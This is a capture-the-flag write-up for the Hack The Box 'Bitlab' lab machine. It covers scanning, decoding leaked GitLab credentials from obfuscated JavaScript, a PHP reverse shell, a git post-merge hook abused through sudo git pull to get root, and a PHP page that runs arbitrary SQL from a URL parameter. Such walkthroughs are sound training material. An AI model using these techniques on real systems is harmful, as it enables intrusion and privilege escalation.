Hack The Box - Bitlab Writeup
Hack The Box - Bitlab
Enumeration
Lets add bitlab.htb
to hosts file and start enumerating
Nmap
Nmap scan report for 10.10.10.114
Host is up, received user-set (0.29s latency).
Scanned at 2020-01-04 21:49:57 IST for 1699s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSCR2AISBaUSpQGOWjsr3qEJ0/8CcRP0256a8V8+
RP3/s8C2JjPF0VpQ0yREJi5GcaxaUT71Z/Iu4L+zSuGErOswMYOASHTsLQ1OiOX+
pFPGos7dCho50xTZW/t7fznxpOZz5Z/q2vw68B+9w3nYBuSHgcOCJl9UVhd7nyzxdaTScQg3CLy3LbOmERh1PN
/sVTYEncJgVZjZAWNj3Y1WCIsQaJS24IWHjDKv883oEVgRr9K7aF95SSpLdH1aG/uvQFEoYsE+
/WvqD8lPZ+nbxmGVZWHVdHzKDHXJZTcMosAYi/OAdb8qrb17Rs1Uq66caY/GnTRMDNI73HK4PfUeQp
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOTiIG
0kUQzECqcEHxHyiK1WbdkW2Ncwk5twrushVNzzMgnydxaua2m3mg5k8UWt1HXeUOyUxTpXaoaPa7Gclg4=
| 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMsgauIgMgKCiPSybbXatTK8ZsAgv7xsrJsR5FZ5M77i
80/tcp open http syn-ack ttl 62 nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (40 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
| /s/ /snippets/new /snippets/*/edit /snippets/*/raw
| /*/*.git /*/*/fork/new /*/*/repository/archive* /*/*/activity
| /*/*/new /*/*/edit /*/*/raw /*/*/blame /*/*/commits/*/*
| /*/*/commit/*.patch /*/*/commit/*.diff /*/*/compare /*/*/branches/new
| /*/*/tags/new /*/*/network /*/*/graphs /*/*/milestones/new
| /*/*/milestones/*/edit /*/*/issues/new /*/*/issues/*/edit
| /*/*/merge_requests/new /*/*/merge_requests/*.patch
|_/*/*/merge_requests/*.diff /*/*/merge_requests/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.2 - 4.9 (92%), Linux 3.10 - 4.11 (90%), Linux 3.18 (90%),
Crestron XPanel control system (90%), Linux 3.16 (89%),
ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%),
HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=1/4%OT=22%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5E10C1D0%P=x86_64-pc-linux-gnu)
SEQ(SP=F9%GCD=1%ISR=108%TI=Z%II=I%TS=A)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 22.734 days (since Fri Dec 13 04:40:47 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 277.87 ms 10.10.14.1
2 281.07 ms 10.10.10.114
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 4 22:18:16 2020 -- 1 IP address (1 host up) scanned in 1699.85 seconds
There is a gitlab
application running on port 80.
Nikito
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.114
+ Target Hostname: 10.10.10.114
+ Target Port: 80
+ Start Time: 2020-01-04 21:50:37 (GMT5.5)
---------------------------------------------------------------------------
+ Server: nginx
+ Uncommon header 'x-request-id' found, with contents: 6igBuZrRK26
+ Uncommon header 'x-accel-buffering' found, with contents: no
+ Uncommon header 'x-runtime' found, with contents: 0.011019
+ Root page / redirects to: http://10.10.10.114/users/sign_in
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/autocomplete/users/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Server banner has changed from 'nginx' to 'Apache/2.4.29' which may suggest a WAF, load balancer or proxy is in place
+ Entry '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /help/: Directory indexing found.
+ Entry '/help/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/users/sign_in/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 55 entries which should be manually viewed.
+ /help/: Help directory should not be accessible
+ OSVDB-3092: /public/: This might be interesting...
+ OSVDB-3092: /search.vts: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 19 error(s) and 13 item(s) reported on remote host
+ End Time: 2020-01-04 22:33:50 (GMT5.5) (2593 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
There are lot of interesting entries in robots.txt
The following entries looks interesting.
+ Entry '/users/sign_in/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/help/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
I found the following javascript code in bitlab.htb/help/
directory under bookmarks.html
href='javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65",
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()'
Looks like encoded javascript. But let see if we can try decoding it using the following site. Javascript Decoder
Decoded javascript
javascript: (function () {
var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()
So we have some user creds username:clave
and password:11des0081x
. We can use these to login to the gitlab
application.
Low Privilege Shell
To get low privilege shell we have to consider the following options
- We can login to the
gitlab
application - There are two repositories
Profile
andDeployer
- We can write files to the the repositories
- The repository named
profile
is being hosted athttp://bitlab.htb/profile/
- We can execute
php
files written toProfile
repository by visiting the file athttp://bitlab.htb/profile/php_file
So lets create a php reverse shell and execute it to get a reverse shell.
root@kali:~/Desktop/htb/bitlab# nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.15.138] from bitlab.htb [10.10.10.114] 51342
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
05:54:26 up 41 min, 0 users, load average: 0.96, 0.47, 0.39
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
And we have a low privilege shell.
Now there are two ways to get root
from here. I will be discussing both methods here.
Root Shell Method 1 (Using git pull
)
Low Priv Shell Enumeration
Lets run LinEnum.sh
to get see if there are any exploitable methods
User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull
[+] Possible sudo pwnage!
/usr/bin/git
So we can execute /usr/bin/git pull
without supplying a password.
We can exploit git hooks
to gain a root shell.
Gtfobins git hooks, Git pull hook
Root Shell
We can exploit git
using hooks by completing the following steps
-
Copy the
profile
folder from/var/www/html/
to/tmp
folder$ cp -r /var/www/html/profile /tmp/pro
-
Create a
post-merge
hook in/profile/.git/hooks/
with the following content and change permissions#!/bin/bash echo pwned exec /bin/sh 0<&2 1>&2
$ (echo '#!/bin/bash';echo 'pwned';echo 'exec /bin/sh 0<&2 1>&2')>post-merge $ chmod 777 post-merge
-
Change the
README.md
file slightly so that thegit pull
command will have some updates to download and after the update it will execute the hook.$ sudo /usr/bin/git pull sudo /usr/bin/git pull remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (4/4), done. remote: Total 4 (delta 2), reused 0 (delta 0) Unpacking objects: 100% (4/4), done. From ssh://localhost:3022/root/profile 6945c1e..ac5e916 master -> origin/master * [new branch] patch-11 -> origin/patch-11 Updating 6945c1e..ac5e916 Fast-forward README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) .git/hooks/post-merge: line 2: pwned: command not found # id id uid=0(root) gid=0(root) groups=0(root)
And we are root.
Root Shell Method 2 (By Debugging the Remote Connect Binary)
User Shell
First we have to escalate our privilege from www-data
to clave
to copy the binary.
We can do this by connecting to the postgresql
database to retrieve the credentials of clave
.
Using the following php
code we can retrieve clave
credentials.
We have to commit this file to the profile
repository and execute the query to retrieve the credentials.
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
?>
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
$result = pg_query($db_connection, $_GET['cmd']);
$row = pg_fetch_assoc($result);
echo $row;
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Query
from profile select *
And we get the following credentials.
username: clave
password: c3NoLXN0cjBuZy1wQHNz==
This looks like a base64 encoded string, but we have to use the password without decoding it.
Once we login using this we can copy the binary using netcat
Root Shell
On executing the RemoteConnect.exe
binary file we can see that the binary prints the string Access Denied !!
and exits.
Lets try to debug it.
I set a breakpoint at the point where the program prints Access Denied !!
.
Once the program hits the breakpoint we can see the ssh
password for root
.
Lets try logging in.
ssh root@10.10.10.114
root@10.10.10.114's password:
Last login: Wed Oct 23 01:11:02 2019 from 10.10.14.26
root@bitlab:~#id
uid=0(root) gid=0(root) groups=0(root)
And we are root.